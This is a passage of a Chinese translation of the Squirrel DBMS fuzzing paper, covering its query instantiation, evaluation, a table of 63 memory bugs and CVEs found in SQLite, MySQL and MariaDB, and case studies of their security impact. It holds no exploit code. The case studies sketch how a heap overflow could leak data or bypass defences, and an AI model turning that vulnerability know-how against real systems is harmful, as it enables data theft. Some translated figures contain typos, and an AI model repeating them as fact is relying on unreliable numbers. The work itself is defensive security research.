如果数据类型可能依赖于两种或多种数据类型，我们将随机选择一种以避免循环依赖。 另外，如果有多个候选值用于从属类型，Squirrel会随机选择一个以建立边。
这样，图中的每个节点最多具有一个父节点，并且依赖图形成为一棵树或几棵树。 附录C包含有关依赖关系图构造的更多详细信息。
> 图7：IR结构的实例化。我们从图6的依赖关系创建一个具体的依赖关系图，替换所有占位符x，最后得到一个具体的新查询。
图7显示了从图6构建的一种可能的依赖关系图。例如，我们选择x1作为x12的依赖关系，尽管根据图6，它可以是（x1，x4，x7）中的任何一个。基于不同的选择，我们可以为每个突变的IR创建多个具体的数据依赖图。
有一些细节未在图中显示，例如x10应该是x2和x3之一。 Squirrel可以正确处理这些隐式依赖性。
### 6.2 IR实例化
> 算法1：语义实例化
Squirrel通过填写具体数据来实例化查询。算法1显示了我们的实例化算法。对于依赖关系图中的每棵树，我们都基于广度优先搜索和语句顺序对节点进行排序，从而保证了生命周期的正确性。对于整数之类的文字数据，我们将其设置为随机值或预定义值集中的一个（第5行）。对于语义绑定数据，我们填写适当的有效名称。在此过程中，我们维护两个映射：dataMap跟踪具有不同类型的唯一名称，而RelationMap将每个元素映射到其依赖项。如果当前节点没有依赖项（第6行），则它要么定义一个新变量（我们在其中创建一个新的唯一字符串作为其名称）（第7-9行），要么是一个预定义的术语，例如函数名（第10-行）
13）。如果当前节点有一个父节点，我们就知道它有一些依赖关系（第15-27行）：如果当前节点创建了一个新变量，我们只需为其生成一个唯一的字符串（第16-19行）；如果当前节点使用变量，则我们检查RelationMap为其找到合适的值（第22-23行）。最后，我们将IR程序转换回SQL查询并返回。如果由于不满意的依赖关系导致该过程失败，则IR程序将包含语义错误。
图7显示了数据和列值实例化的结果以及最终的SQL查询。 Squirrel将v1分配给x1，因为它是不依赖的CreateTable。
由于语句的顺序，我们接下来处理x2和x3并分别为其分配名称v2和v3。 我们以类似的方式处理x4-x9。
对于x12，它的类型为UseAnyTable，并且依赖于x1，因此根据算法1的第23行，我们将x1的名称v1分配给x12。 其他数据可以用相同的方式实例化。
## 7 实现
我们用43783行代码实现了Squirrel。表1显示了不同组件的细分。
> 表1：SQUIRREL组件的代码大小，共43783行
AST解析器。我们设计了一个通用的AST解析器来处理不同DBMS的通用功能，并为每个DBMS自定义解析器以支持特定于实现的功能。我们的实现基于Bison
3.3.2和Flex
2.6.4。我们的AST解析器的语法符合官方DBMS文档中描述的规范。我们支持该规范中的大多数语法，但是不涉及与管理功能相关的某些部分。通过这种方式，我们可以专注于测试与数据库操作有关的那些语法。
模糊器。我们在AFL
2.56b之上构建Squirrel，并用保留语法的mutator和语义指导的实例化器替换其mutator。当模糊器发现一个有趣的测试用例时，我们将其剥离的IR保存到IR库中。我们在每个查询之后删除数据库，以最大程度地减少不同查询之间的相互作用。
应用效果。将Squirrel应用于其他DBMS的工作可能取决于DBMS。首先，我们应该自定义通用解析器以支持目标DBMS的独特功能。其次，我们将根据语法编写语义关系规则。第三，如果DBMS在客户端-服务器模式下运行（例如MySQL和PostgreSQL），我们需要为其实现一个客户端。在我们的案例中，我们的一位作者花了一天的时间来定制解析器，而花了不到六个小时的时间来为我们测试的每个DBMS实施语义规则和客户端。我们认为，将Squirrel应用于另一个DBMS最多需要两天的时间。
## 8 评估
我们在实际的关系DBMS上测试了Squirrel，以了解其在查找内存错误中的有效性。 具体来说，我们的评估旨在回答以下问题：
> * Squirrel是否可以检测来自实际生产级别DBMS的内存错误？ （§8.1）
>
> * Squirrel是否可以胜过最新的测试工具？ （§8.2）
>
> * DBMS测试中基于语言正确性和覆盖范围的反馈有哪些贡献？ （§8.3）
>
>
**基准:** 我们选择三种广泛使用的DBMS进行广泛评估，包括SQLite ，PostgreSQL
，MySQL。我们还使用Squirrel测试了MariaDB
，仅用于查找错误。我们使用默认的配置和编译选项来编译它们。我们将Squirrel与五个模糊器进行比较，包括基于突变的模糊器AFL
和Angora，混合模糊器QSYM
，结构模糊器GRIMOIRE和基于生成的模糊器SQLsmith。我们尝试运行尽可能多的测试，但是如表2所示，我们遇到了一些兼容性问题。由于MySQL需要客户端发送查询（即C
/ S模式），因此QSYM，Angora和GRIMOIRE无法直接对其进行测试。由于缺少接口，SQLsmith不正式支持MySQL。
PostgreSQL支持C /
S模式和单一模式，我们可以使用QSYM在单一模式下对其进行测试。但是，GRIMOIRE无法将PostgreSQL成功编译为单个静态二进制文件。
Angora可以编译它，但不能运行二进制文件。我们正在积极寻求潜在的解决方案。
**种子语料库：** 我们从每个DBMS的官方Github存储库收集种子输入，其中单元测试通常涵盖大多数类型的查询。
我们向评估中的所有六个模糊器提供相同的种子，但SQLsmith不需要任何初始输入。
**设置：** 我们在装有Intel Xeon CPU E5-2690（2.90GHz），16核和`188GB RAM`的计算机上的Ubuntu
16.04系统中执行评估。 我们将afl-clang与llvm模式结合使用，以测试经过测试的DBMS，并采用边缘覆盖作为反馈。
考虑到DBMS的代码量很大，我们使用256K字节的位图来缓解路径冲突问题。 Angora使用1024K字节的位图，这是设计中的默认大小。
对于错误检测，由于时间限制和实施进度的原因，我们已经运行Squirrel来测试SQLite 40天，测试MySQLite和PostgreSQL
11天，以及MariaDB测试1天。 对于其他评估，我们将每个模糊测试实例（fuzzer + DBMS）运行24小时，然后重复该过程五次。
每个模糊测试实例都在具有一个CPU和10G内存的docker中单独运行。 我们报告平均结果以减少随机噪声，并在附录表6中提供p值。
### 8.1 DBMS Bugs
Squirrel已成功检测到来自经过测试的DBMS的63个错误，包括SQLite的51个错误，MySQL的7个错误和MariaDB的5个错误。表3列出了已发现的错误的详细信息。我们已将所有错误报告给了相应的DBMS开发人员，并收到了他们的积极反馈。在撰写本文时，已修复了所有错误中的52个。由于严重的安全后果，其中12个获得了CVE编号。相比之下，由Google发起的OSS-Fuzzer项目已经对第一个数据库管理系统进行了广泛的测试，并且在三年内发现了来自SQLite的19个错误，在四个月内发现了来自MySQL的15个错误，而没有来自PostgreSQL的错误。我们检查了OSS-Fuzzer检测到的MySQL错误，并发现所有错误均发生在MySQL逻辑的最开始：在解析阶段之前。概念验证（PoC）甚至不是有效的SQL查询，而只是一些随机位。因此，我们相信我们的模糊器可以更有效地发现来自DBMS的错误。我们计划将我们的工具集成到OSS-Fuzzer中，以提高DBMS的安全性。
> 表3：已检测到的错误。SQLite
> 3.31正在开发中，我们在Github上测试了最新版本。SQLite没有漏洞的严重性评分。表示严重性尚未由开发人员确定。
UAF: use-after-free. BOF: buffer overflow of Global(G), Heap(H), and Stack(S).
BUF: buffer underflow. AF: assertion failure. OOM: ouf of memory. UB:
undefined behavior.
ID | TYPE | FUNCTION | STATUS | SEVERITY | REFERENCE
---|---|---|---|---|---
**SQLite v3.30.1,300K LoC** | | | | |
1 | BOF | PRAGMA integrity_check | Fixed | Critical | CVE-2019-19646
2 | NP | lookupName | Fixed | Critical | CVE-2019-19317
3 | UAF | WITH | Fixed | High | CVE-2019-20218
4 | BOF | exprListAppendList | Fixed | High | CVE-2019-19880
5 | BOF | ZipFile extension | Fixed | High | CVE-2019-19959
6 | NP | zipfileUpdate | Fixed | High | CVE-2019-19925
7 | NP | parser | Fixed | High | CVE-2019-19926
8 | NP | LEFT JOIN optimization | Fixed | High | CVE-2019-19923
9 | SBOF | ALTER TABLE | Fixed | Medium | CVE-2019-19645
10 | NP | JOIN INDEX | Fixed | Medium | CVE-2019-19242
11 | NP | parser | Fixed | Medium | CVE-2019-19924
12 | BOF | propagateConstantExprRewrite | Fixed | Medium | CVE-2020-6405
13 | UB | fopen/fopen64 | Fixed | – | 0c4f820
14 | GBOF | sqlite3VdbeMemPrettyPrint | Fixed | – | 5ca0632
15 | AF | sqlite3GenerateConstraintChecks | Fixed | – | ad5f157
16 | AF | IN expression optimization | Fixed | – | b97f353
17 | AF | whereLoopAddOr | Fixed | – | 9a1f2e4
18 | AF | WHERE with OR opt. | Fixed | – | a4b2df5
19 | AF | wherePathSatisfiesOrderBy | Fixed | – | 77c9b3c
20 | AF | Bytecode OP_DeferredSeek | Fixed | – | be3da24
21 | AF | WHERE | Fixed | – | 4adb1d0
22 | AF | WHERE flag setting | Fixed | – | 118efd1
23 | AF | Bytecode OP_ResultRow release | Fixed | – | 02ff747
24 | AF | sqlite3SelectReset | Fixed | – | aa328b6
25 | AF | Bytecode OP_SCopy | Fixed | – | 629b88c
26 | AF | scalar subquery | Fixed | – | 629b88c
27 | AF | Bytecode OP_ResultRow | Fixed | – | 02ff747
28 | AF | SELECT | Fixed | – | fbb6e9f
29 | AF | WHERE | Fixed | – | f1bb31e
30 | AF | PRAGMA encoding | Fixed | – | b5f0e40
**SQLite v3.31 (under development), 304K LoC** | | | | |
31 | GBOF | ZipFile extension | Fixed | – | 8d7f44c
32 | HBOF | ZipFile extension | Fixed | – | a194d31
33 | HBUF | ZipFile extension | Fixed | – | 8d7f44c
34 | UAF | sqlite3GenerateConstraintChecks | Fixed | – | 6d67aff
35 | NP | VTable | Fixed | – | c7a5ff4
36 | NP | ORDER BY Windows Function | Fixed | – | 73bacb7
37 | NP | SF_Aggregate flag setting | Fixed | – | 9e10f9a
38 | NP | USING | Fixed | – | 0824d5b
39 | NP | ZipFile extension | Fixed | – | 0d21eae
40 | NP | LEFT JOIN uses values from IN | Fixed | – | 74ebaad
41 | AF | WHERE | Fixed | – | b592d47
42 | AF | NEVER marco can be true | Fixed | – | 78b5220
43 | AF | impliesNotNullRow | Fixed | – | aef8167
44 | AF | Code Generator for inline function | Fixed | – | 25c4296
45 | AF | scalar SELECT w/ WINDOW | Fixed | – | 4ea562e
46 | AF | Code Generator for sub query | Fixed | – | fc705da
47 | AF | AND¸ optimization | Fixed | – | 2b6e670
48 | AF | Bytecode OP_Move | Fixed | – | 4cbd847
49 | AF | Bytecode OP_Copy-coalesce opt. | Fixed | – | 9099688
50 | AF | sqlite3ExprCodeIN | Fixed | – | f6ea97e
51 | AF | whereTermPrint | Fixed | – | 6411d65
**MySQL v8.0, 4250K LoC** | | | | |
52 | OOM | WITH optimization | Verified | Critical | ID98190
53 | NP | JOIN optimization | Fixed | Serious | ID98119
54 | NP | JOIN optimization | Verified | ? | ID99438
55 | NP | UPDATE optimization | Verified | ? | ID99424
56 | AF | SELECT | Verified | ? | ID99420
57 | AF | INDEX | Verified | ? | ID99421
58 | AF | CREATE TABLE | Verified | ? | ID99454
**MariaDB v10.5.3, 3641K LoC** | | | | |
59 | BOF | UPDATE | Verified | ? | MDEV22464
60 | BOF | UPDATE | Verified | ? | MDEV22476
61 | AF | JOIN | Verified | ? | MDEV22461
62 | AF | SELECT | Verified | ? | MDEV22462
63 | AF | Array OOB | Verified | ? | MDEV22463
**错误多样性:** 表3中的63个错误几乎涵盖了所有常见的内存错误类型，这表明Squirrel可以从多个方面提高DBMS安全性。
尤其是，通常认为缓冲区溢出和释放后重用的bug可以被利用，而Squirrel分别发现了12个bug和2个bug。
Squirrel还从SQLite中检测到33个断言失败，这表明执行已达到意外状态。
更糟糕的是，已发布的二进制文件中的断言检查被禁用，这可能导致严重的安全问题。 例如，在案例研究3中，断言失败会导致严重的事后使用漏洞。
**案例研究1: 一个11年的Bug** 。 Squirrel检测到11年前引入SQLite的Bug（表3中的ID
16，附录1的清单1中的PoC），该错误位于IN子句的优化例程中。具体来说，isCandidateForInOpt检查各种条件以确定IN子句中的子查询是否可以优化。这些检查之一应确保子查询没有任何GROUP
BY子句。由于SQL语法不允许IN子句中使用GROUP BY，因此开发人员无法为这种情况找到测试用例，因此通过签入将检查转换为assert（）[…]
（2009-05-28）。在发布的SQLite版本中禁用了断言。 Squirrel发现，如果两个具有DISTINCT的查询通过NATURAL
JOIN连接，则SQLite将在内部将GROUP
BY属性设置为这些查询。在IN子句中使用此类查询时，它将使先前的断言失败。但是，发布的SQLite将错误地继续优化，并可能导致意外结果，例如错误结果。
Squirrel仅在14分钟内通过8个突变发现了这个11岁的bug。 图8显示了Squirrel从良性查询生成错误触发查询的八个步骤。 我们将表示为突变。
原始查询包含三个CREATE语句：第一个CREATE不必更改； 第二个CREATE被更改五次，其中有三个插入（1，，5和8）和两个替换（4和7）；
最后的CREATE更改了两次，分别有两次替换（2和6）和一次插入（3）。 每一轮突变都提供了新的语法结构，并保持了语法和语义的正确性。
最终查询满足断言失败的条件，因为SQLite会将最后一个SELECT放入第二条语句的IN中，这使IN的子查询包含两个自然连接的SELECTs。
**案例研究2：数据库泄漏。** Squirrel确定了一个基于堆的缓冲区溢出漏洞（表3中的ID
5，附录2中的PoC），攻击者可以利用该漏洞读取内存空间中的任意数据。 此错误使攻击者有可能访问SQLite DBMS中存储的所有数据库。
由于SQLite被广泛用作多用户服务，因此攻击者可以检索其他用户的数据，这些用户默认情况下没有访问权限。
即使数据库的所有者明确删除了该数据库，攻击者仍然可以从其内存残留中窃取该数据库。
除了窃取数据库外，此错误还使攻击者能够读取敏感的关键信息，这些信息可能使攻击者能够进行进一步的攻击，例如远程执行代码。
例如，读取代码页地址将帮助攻击者绕过基于随机化的防御，而泄漏堆栈Canary将使堆栈缓冲区溢出再次可利用。
**案例研究3：断言失败导致释放后重用。** 我们检查了几个断言失败，并发现了一个断言失败（表3中的ID
3，附录3中的PoC）最终导致了严重性高的释放后重用Bug（得分7.5 /
10）。断言确认只要执行到达断言点，谓词就始终为真。否则，开发人员会认为程序正在运行意外状态。此错误使SQLite失败了pParse->
pWith断言，因为由于无法创建圆形视图，pWith是一个悬空的指针。在调试模式下，SQLite将在断言失败后终止执行。但是，发布的二进制文件将禁用所有断言。有了触发错误的输入，SQLite将继续在意外状态下运行，并最终触发释放后使用的错误。
**案例研究4：模糊测试作为回归测试。**
Squirrel可以有效地发现新引入的错误，因此可以用于快速回归测试。例如，表3中ID为35的错误（附录中的清单4中的PoC）仅存在不到一天，然后才发现。
ID为38的Bug（附录5中的PoC）在存在后仅一小时内就被检测到，报告并修复。引入此错误的提交旨在解决与生成的列功能有关的另一个问题。但是，此修复程序并不完全正确，因此在USING子句中引入了新问题。这两个案例表明Squirrel可以对DBMS进行快速有效的回归测试。
### 8.2 与现有工具的对比
我们将Squirrel与五个不同方面的最新模糊测试器进行比较，以了解其在测试DBMS方面的优势和劣势。图9显示了我们的评估结果，包括唯一崩溃的次数，唯一错误的数目，新边缘的数目，语法正确性和语义正确性。我们评估的p值显示在附录表6中。大多数p值都小于0.05，这意味着Squirrel的结果与其他结果之间的差异具有统计意义。我们将逐案讨论异常的高p值。
> 图9：与现有工具的对比。图（a）和（b）显示了使SQLite模糊化的独特崩溃次数和独特错误数量。
> 图（c）-（k）显示了每个模糊实例的新边缘数，语法正确性和语义正确性。 我们将每个模糊测试实例运行24小时，将每个模糊测试重复五次，并报告平均结果。
**唯一的崩溃：**
我们利用边缘覆盖图来计算唯一崩溃的次数，并在图9（a）中显示模糊SQLite的结果。我们排除了PostgreSQL和MySQL的结果，因为只有Squirrel在MySQL中发现很少crash，而其他模糊测试实例在24小时内都没有发现crash。
Squirrel在四分钟内检测到SQLite的第一次崩溃，总共检测到约600个唯一的崩溃。 AFL在32分钟内捕获了第一个crash，总共获得30次uniq
crash，而QSYM在14分钟内发现了第一个crash，最终收集了13g个crashes。
Angora，GRIMOIRE和SQLsmith无法找到任何崩溃。
我们可以看到，最新的高级模糊测试工具并没有明显优于AFL。在某些情况下，他们甚至可能发现更少的唯一崩溃。我们认为，由于模糊的不确定性和对DBMS系统的严格语义要求，这种结果是合理的。
**独特的错误:**
我们会根据官方补丁将每次崩溃映射到相应的错误。在SQLite中，Squirrel发现的600个崩溃仅属于两个bug，而AFL检测到的30个崩溃和QSYM发现的13个崩溃属于同一个bug。由于少量的错误在统计上不是有用的，因此我们采取了不同的策略来获取更多的错误：每隔一个小时，我们会检查检测到的崩溃（如果有的话），将它们映射到真实的bug并进行patch，以避免以后发生类似的崩溃。我们在图9（b）中显示了新策略的结果。这种方法对于Squirrel查找更多错误（从两个到九个）非常有效，因为每次patch后，Squirrel几乎可以立即查找一个新的bug。
AFL和QSYM在一个小时内只能发现一个错误，即使进行patch也没有任何进展。表4显示了检测到的错误的分布，其中Squirrel还涵盖了AFL和QSYM发现的唯一错误。
**New Edges:**
与基于突变的工具相比，Squirrel可以识别出2.0×-10.9×的新边缘，并且可以获得与基于世代的测试器SQLsmith相当的结果。图9（c），（f）和（i）分别显示了SQLite（S），PostgreSQL（P）和MySQL（M）的新优势。
Squirrel在八项比较中胜过其他模糊测试：它比AFL多收集6.6×（S），4.4×（P）和2.0×（M）的新边，比SQLsmith，7.7×（S）多收集新的边，3.6×（S）和比QSYM高10.9倍（P），比安哥拉（Angora）高2.3倍（S），比GRIMOIRE高3.3倍（S）。
**唯一的例外是使用SQLsmith对PostgreSQL进行模糊处理，其中Squirrel通过SQLsmith收集了89.3％的新优势。考虑到SQLsmith是为处理PostgreSQL的特定语法而设计的，这不足为奇。由于SQLsmith在PostgreSQL上的性能略好于Squirrel，因此表6中的相关p值大于0.05。**
**语法有效性:** Squirrel的语法正确性比基于突变的工具高1.8×-20.9×，并且获得与SQLsmith相当的结果。
图9（d），（g）和（j）分别显示了在测试SQLite（S），PostgreSQL（P）和MySQL（M）期间语法有效性的变化。
Squirrel的语法正确性比AFL高1.8倍（S），11.5倍（P）和2.5倍（M），比SQLsmith高6.1倍（S），比QSYM更高2.4倍（S）和20.9倍（P）
比Angora高×（S），比GRIMOIRE高2.9×（S）。
例外来自使用SQLsmith混淆PostgreSQL，其中Squirrel在语法上达到SQLsmith的97.1％。
同样，我们认为原因是SQLsmith是针对PostgreSQL的特定语法高度定制的。
例如，在模糊SQLite时，SQLsmith只能达到12.7％的语法正确性，而在模糊PostgreSQL时却可以获得近100％的语法准确性。
由于类似的结果，PostgreSQL上Squirrel与SQLsmith的p值大于0.05。
**语义有效性:**
Squirrel的语义正确性比其他工具高2.4×-243.9×。图9（e），（h）和（k）分别显示了在测试SQLite（S），PostgreSQL（P）和MySQL（M）期间语义有效性的趋势。
Squirrel的语义正确率比AFL高8.3倍（S），7.0倍（P）和27.0倍（M），比SQLsmith分别高125.4倍（S）和243.9倍（P），8.8倍（S）和4.7倍（P）
）高于QSYM，比Angora高8.3×（S），比GRIMOIRE高2.4×（S）。有趣的是，尽管SQLsmith在测试PostgreSQL方面在新边缘和语法正确性方面表现稍佳，但Squirrel在语义上却获得了更高的准确性。另一个值得注意的观察结果是，AFL实际上为PostgreSQL比Squirrel生成了更多正确的输入（2.2x，请参阅附录中的表7），但仍然实现了较低的边缘覆盖率。这表明更多的正确查询或更高的正确率不能保证探索更多的程序状态。一个极端的例子是继续使用相同的正确查询，这将具有更多的执行次数（无生成开销）和100％的正确性。但是显然，它不会导致代码覆盖率的增加。
Squirrel的优势既来自保留各种语法的变异，也源自语义指导的实例化，后者推断参数之间的语义关系以协助查询合成。
> 总体而言，Squirrel的性能优于所有基于变异的工具，即使它们通过污点分析或符号执行加以增强，或将结构信息也考虑在内。
> 它可以达到与为PostgreSQL定制的SQLsmith相当的结果。
> 更重要的是，与所有其他经过测试的工具相比，Squirrel可以检测到明显更多的错误。
### 8.3 有效性和反馈
为了了解Squirrel中不同因素的作用，特别是保留语法的变异，语义指导的实例化和基于覆盖率的反馈，我们通过禁用每个因素并测量模糊过程的各个方面来执行单元测试。
结果在图10中给出。在Squirrel [!semantic]中，我们仅禁用了语义指导的实例化；仅启用了基于语义的实例化。 在Squirrel
[!feedback]中，我们仅禁用基于coverage的反馈； Squirrel
[!syntax＆!semantic]禁用语义引导的实例化和语法正确的突变，并且实际上与AFL相同。
由于语义指导的实例化需要语法正确的查询，因此我们无法创建仅禁用突变的版本。 我们还排除了所有禁用的设置，这将是AFL的哑模式。
表6中显示了我们评估的p值。大多数p值均小于0.05，这表明Squirrel的结果与其他结果之间的差异具有统计学意义。 我们将解释高于0.05的特殊p值。
> 图10：有效性和反馈的作用。 图（a）和（b）显示了使SQLite模糊化的独特崩溃次数和独特错误数量。
> 图（c）-（k）显示了每个模糊实例的新边缘数，语法正确性和语义正确性。 我们将每个模糊测试实例运行24小时，将每个模糊测试重复五次，并报告平均结果。
**独特的崩溃:**
图10（a）显示了每种设置在SQLite中发现的唯一崩溃的数量。同样，由于24小时评估期间崩溃的次数很少，因此我们跳过了PostgreSQL和MySQL的结果。功能齐全的Squirrel可达到最佳效果。首先，Squirrel在四分钟之内找到了第一起坠机事故。
Squirrel[!semantic]需要60倍以上的时间才能检测到第一次崩溃（261分钟）。有趣的是，Squirrel
[!syntax＆!semantic]在32分钟内发现了第一次崩溃-比Squirrel差，但比Squirrel
[!semantic]好。考虑到后者每秒运行220个查询，而前者每秒可以执行507个查询（即快1.3倍），因此我们认为Squirrel
[!syntax＆!semantic]优于Squirrel [!semantic]的优势主要在于生成速度更快。 Squirrel
[!feedback]需要700分钟才能找到第一个崩溃。唯一崩溃的总数遵循相同的模式，其中Squirrel，Squirrel
[!semantic]，Squirrel [!syntax＆!managet]和Squirrel
[!feedback]分别检测到600、30、10和3次崩溃。上面的结果表明，Squirrel的所有三个因素对碰撞检测至关重要。此外，基于覆盖的反馈起着最重要的作用，而仅语法测试无法胜过AFL。
**独特的错误:**
我们采用相同的策略来测量独特的错误，我们每小时都会对检测到的错误进行修补。图10（b）显示了结果。功能齐全的Squirrel可发现9个独特的错误，而其他变体仅检测一个独特的错误。如表4所示，全功能版本还涵盖了Squirrel变体（!feedback&!semantic）发现的唯一错误。
**New Edges:**
图10（c），（f）和（i）展示了一种（几乎）一致的模式，该模式为SQLite，PostgreSQL和MySQL寻找新的边缘：Squirrel>
Squirrel[!semantic]> Squirrel[!syntax&semantic]> Squirrel[!feedback]。
基于覆盖率的反馈有助于使SQLite，PostgreSQL和MySQL变得模糊2.0倍的新优势。与AFL相比，语法正确性可以帮助找到多1.0×-1.5×的边，而语义正确性可以使数字增加0.3×-1.7×。
该结果表明，提高语法正确性或语义正确性有助于达到更多的DBMS状态。
**语法有效性和语义有效性:**
图10（d），（g）和（j）显示了在测试三个DBMS期间的语法变化，而图10（e），（h）和（k）显示了语义变化。在大多数情况下，Squirrel的有效性最高，而AFL的有效性最差。这个结果是合理的，因为我们设计Squirrel来获得更好的语言有效性，而AFL随机地变异SQL查询。但是，我们可以从图中发现一些有趣的异常。首先，Squirrel[!semantic]的语法准确性与图10（d）和（g）中的Squirrel相似，这表明提高语义正确性不会增加语法正确性。实际上，实例化可能会降低语法正确性，如图10（j）所示，因为它倾向于删除短查询。短查询在语法上更可能正确，但是我们的实例化程序无法修复其语义。例如，SELECT
a FROM
b在语义上是不正确的，因为不存在表b。由于SQLsmith的性能类似或什至优于Squirrel，因此PostgreSQL和MySQL的p值大于0.05。
其次，在图10（j）中，Squirrel[!feedback]与Squirrel具有相似的语义正确性。
这个结果似乎表明反馈对MySQL的语义正确性没有影响。
但是，进一步检查发现，Squirrel[!feedback]会产生非常不同的语义正确性：在五个实验中，两个实验的正确率超过40％，而其他三个实验的正确率则低于10％。
我们发现，MySQL中的初始种子比SQLite和PostgreSQL中的种子小。
这些小种子可能会导致Squirrel[!feedback]继续为MySQL生成正确但简单且重复的输入。
由于MySQL结果的随机性，附录表6中的p值大于0.05。
但是，图10（i）显示，与Squirrel[!feedback]相比，Squirrel生成的查询在结构上更加多样化，因为Squirrel发现了更多具有相似语义正确性的执行路径。
> 总体而言，语法，语义和反馈在Squirrel中起着至关重要的作用，以从DBMS中发现更多的内存错误。
> 基于覆盖率的反馈影响最大，而语法正确性和语义正确性则具有不同的影响。 最终结果是所有三个因素之间的相互作用。
## 9 讨论
我们讨论了当前Squirrel实施的局限性以及我们在未来的工作中解决这些局限的计划。
**DBMS特定逻辑:**
尽管我们的Squirrel设计与DBMS无关，但是我们发现合并特定于程序的功能始终有助于获得更好的测试结果。首先，每个DBMS都实现其SQL的方言，该方言与正式版本的SQL几乎相同（例如SQLite），或者在许多功能方面却与正式的显著不同（例如PostgreSQL）。
Squirrel完全支持SQL的通用语法，并且还包含针对不同方言的补丁。由于这个原因，Squirrel在SQLite上运行良好（51个错误），但在PostgreSQL，MySQL和MariaDB中仅触发了几个错误。我们计划对不同的SQL方言实施更准确的语法，以提高模糊测试的效率。其次，DBMS在执行查询之前可能会采取额外的检查。例如，我们发现PostgreSQL要求所有操作数之间的类型正确，并且不允许在整数和浮点数之间进行比较。
SQLite不会检查任何内容，但会在执行过程中自动执行类型转换，而MySQL仅警告类型不匹配的警告。我们计划在我们的语义指导实例中实现类型一致性关系，以测试PostgreSQL。
**关系规则构建:** Squirrel依赖关系规则来推断不同操作数之间的数据依赖关系。 目前，我们基于领域知识编写关系规则。
我们有两位作者花了两个小时来编写这些规则，这些规则仅涵盖133个条款。 为了减轻开发人员的繁琐工作，我们计划采用自动推断这些规则的技术。
例如，通过数据流分析，我们可以找出每个操作数之间的预期关系。 另外，我们可以尝试使用 **机器学习** 技术来自动从大量正常执行中捕获关系。
**代码覆盖中的冲突:** Squirrel依靠AFL的反馈机制来指导查询选择，不幸的是，它受到冲突问题的困扰。
默认情况下，AFL使用具有64K条目的位图记录分支覆盖范围，每个分支覆盖一个。 对于分支很少的小型程序，此方法效果很好。
但是，DBMS包含成千上万的分支，因此使用AFL测试DBMS具有严重的冲突问题。
例如，SQLite有大约20,000个不同的分支，其中14％的分支与其他分支共享位图条目。 在我们的评估过程中，我们将位图放大到256K以减轻冲突问题。
下一步，我们计划采用CollAFL中提出的解决方案来消除碰撞问题。
**替代反馈机制:** 最近的软件测试实践广泛采用代码覆盖率来指导基于突变的模糊测试。
但是，在我们的评估中，我们发现了潜在的有害代码覆盖范围，该覆盖范围阻碍了语义正确查询的生成。
特别是，在测试语法开始时，不正确的查询会在错误处理代码中触发许多新分支。 基于覆盖率的反馈指导Squirrel专注于这些输入，而不是原始的语义正确查询。
模糊语言编译器和解释器的最新著作提到了类似的观察。 我们计划调查此问题并开发解决方案以减轻此问题，例如删除输入以在短时间内触发新分支。
## 10 相关工作
**在DBMS中检测逻辑和性能错误.** DBMS已针对逻辑和性能缺陷进行了严格的测试[53、56、61、64]。
RAGS通过差异测试来检测DBMS中的正确性错误[56]。它在多个DBMS中生成并执行查询。结果之间的任何不一致都表明至少一个DBMS包含错误。
SQLancer构造查询以从表中获取随机选择的行[53]。如果测试的DBMS无法获取该行，则可能包含错误。 QTune
[41]是基于深度强化学习模型的数据库调优系统，可以有效地调优数据库配置以获得最佳性能。
Apollo使用差异测试来发现性能错误[37]。它在同一DBMS的两个版本中生成并运行查询。如果两次执行所花费的时间明显不同，则该查询将触发性能回归错误。
BmPad在目标DBMS中运行预定义的测试套件，并在执行时间超过阈值时报告性能错误[52]。
Squirrel与这些作品的不同之处在于，它专注于检测可能导致严重安全后果的内存损坏错误。
**基于生成的DBMS测试.** 基于生成的测试通常用于测试DBMS。它可以有效地生成语法正确的测试用例，但很少保证语义的正确性。
QAGen表明，确保完美的语义正确性是一个NP完全问题。相反，它提供了一种近似的解决方案来提高语义正确性。一些工作减少了SAT问题的产生，并使用SAT解算器（例如Alloy
）提供了潜在的解决方案。基于世代的模糊器通常需要一些初始数据库的架构才能生成查询。 Bikash
Chandra等提出了一种生成初始数据库的方法，该数据库可以覆盖大多数类型的SQL查询。
SQLsmith是最新的基于生成的DBMS测试器。它从初始数据库收集模式，并生成有限类型的查询，例如SELECT，以确保数据库不变，这限制了代码覆盖率。相反，Squirrel生成无上下文的测试用例，并且不依赖于特定的数据库或架构。它从一个空的数据库开始，并在使用它们进行测试之前创建适当的内容。
**基于突变的DBMS测试.**
最近，基于突变的模糊器在发现内存错误方面取得了巨大的成功。但是，它们被实现为通用的模糊器，并且不知道输入的结构。尽管它们中的一些采用了诸如污点分析或符号执行之类的高级技术，但是它们仍然无法深入测试像DBMS这样的程序，这些程序接受具有正确语义的高度结构化的输入。
Tim Blazytko等提出了一种利用类似语法的组合来合成高度结构化的输入的方法，但是它在SQL中生成的大多数测试用例在语法上仍然不正确。 Hardik
Bati等提出通过添加或删除语法组件来变异SQL语句。它们可能保留语法正确性，但不能保证语义正确性。最近的工作倾向于提高生成的输入的语义正确性，但是SQL对语义的要求更加严格，并且没有一个在测试DBMS方面显示出其有效性。因此，由这些模糊器生成的大多数测试用例都无法通过语法检查或语义检查，并且没有机会触发深层逻辑，例如优化或执行。
Squirrel通过保留语法的变异和语义指导的实例化克服了这些缺点，并设法检测出深层逻辑背后的错误。
## 11 总结
我们已经提出并实现了Squirrel来对数据库管理系统进行模糊测试，以查找与内存相关的错误。我们的系统采用了两种新颖的技术，即保留语法的变异和语义指导的实例化，以帮助生成正确的SQL查询。我们在四种流行的DBMS（SQLite，MySQL，MariaDB和PostgreSQL）上评估了Squirrel，并发现SQLite中有51个错误，MySQL中有7个错误，MariaDB中有5个错误。
Squirrel在语义正确性方面的改进至少是当前基于突变和基于生成的模糊器的3.4倍，并且触发的代码覆盖率是当前基于突变的模糊器的12倍。结果表明，Squirrel在测试数据库管理系统方面是有效且高效的。
> 致谢
我们感谢匿名审稿人的有益反馈。这项工作得到了美国国家科学基金会（NSF）在CNS-1652790项下的部分支持，以及海军研究办公室（ONR）在N00014-16-1-2912，N00014-16-1-2265，N0001417-1项下的支持-2894，N00014-17-1-2895和N00014-18-1-2662。本材料中表达的任何观点，发现，结论或建议均为作者的观点，不一定反映NSF或ONR的观点。
## ex: 备注
> 模糊测试工具通常可以被分为两类。变异测试(Mutation-based)通过改变已有的数据样本去生成测试数据。生成测试(Generation-> based)则通过对程序输入的建模来生成新的测试数据。
>
> –wikipedia
> bail out: 具体意思不明确，使用其本意（保释，解困）有点不妥。
> NP-hard: 指一些很难的非确定性的问题，具体可百度。
>
> p-values: P值是用来判定假设检验结果的一个参数，也可以根据不同的分布使用分布的拒绝域进行比较。P值越小，代表结果越显著。
>
